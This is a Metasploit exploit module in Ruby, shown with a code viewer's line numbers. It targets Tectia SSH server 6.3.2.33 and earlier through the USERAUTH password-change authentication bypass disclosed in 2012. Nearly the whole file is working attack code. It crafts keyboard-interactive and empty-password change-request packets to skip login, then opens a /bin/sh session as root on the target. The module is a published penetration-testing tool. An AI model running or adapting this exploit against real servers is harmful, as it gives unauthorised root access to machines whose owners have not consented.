1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability", 'Description'=> %q{ This module exploits a vulnerability in Tectia SSH server for Unix-based platforms.The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request before password authentication, allowing any remote user to bypass the login routine, and then gain access as root. }, 'License'=> MSF_LICENSE, 'Author' => [ 'kingcope',#Original 0day 'bperry', 'sinn3r' ], 'References' => [ ['EDB', '23082'], ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12'] ], 'Payload'=> { 'Compat' => { 'PayloadType'=> 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets'=> [ ['Unix-based Tectia SSH 6.3.2.33 or prior', {}], ], 'Privileged' => true, 'DisclosureDate' => "Dec 01 2012", 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(22), OptString.new('USERNAME', [true, 'The username to login as', 'root']) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def check connect banner = sock.get_once print_status("#{rhost}:#{rport} - #{banner}") disconnect return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/ return Exploit::CheckCode::Safe end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end # # This is where the login begins.We're expected to use the keyboard-interactive method to # authenticate, but really all we want is skipping it so we can move on to the password # method authentication. # def auth_keyboard_interactive(user, transport) print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...") auth_req_pkt = Net::SSH::Buffer.from( :byte, 0x32, #userauth request :string, user, #username :string, "ssh-connection", #service :string, "keyboard-interactive", #method name :string, "", #lang :string, "" ) user_auth_pkt = Net::SSH::Buffer.from( :byte, 0x3D, #userauth info :raw, 0x01,#number of prompts :string, "", #password :raw, "\0"*32#padding ) transport.send_message(auth_req_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive") message = transport.next_message vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}") # USERAUTH INFO transport.send_message(user_auth_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") 2.times do |i| #USRAUTH REQ transport.send_message(auth_req_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}") # USERAUTH INFO transport.send_message(user_auth_pkt) message = transport.next_message vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") end end # # The following link is useful to understand how to craft the USERAUTH password change # request packet: # http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903 # def userauth_passwd_change(user, transport, connection) print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...") pkt = Net::SSH::Buffer.from( :byte, 0x32, #userauth request :string, user, #username :string, "ssh-connection", #service :string, "password"#method name ) pkt.write_bool(true) pkt.write_string("") #Old pass pkt.write_string("") #New pass transport.send_message(pkt) message = transport.next_message.type vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS transport.send_message(transport.service_request("ssh-userauth")) message = transport.next_message.type if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true) connection = nil return shell end end end def do_login(user) opts = {:user=>user, :record_auth_info=>true} options= Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts) transport= Net::SSH::Transport::Session.new(rhost, options) connection = Net::SSH::Connection::Session.new(transport, options) auth_keyboard_interactive(user, transport) userauth_passwd_change(user, transport, connection) end def exploit # Our keyboard-interactive is specific to Tectia.This allows us to run quicker when we're # engaging a variety of SSHD targets on a network. if check != Exploit::CheckCode::Appears print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.") return end c = nil begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do c = do_login(datastore['USERNAME']) end rescue Rex::ConnectionError, Rex::AddressInUse return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return end handler(c.lsock) if c end end |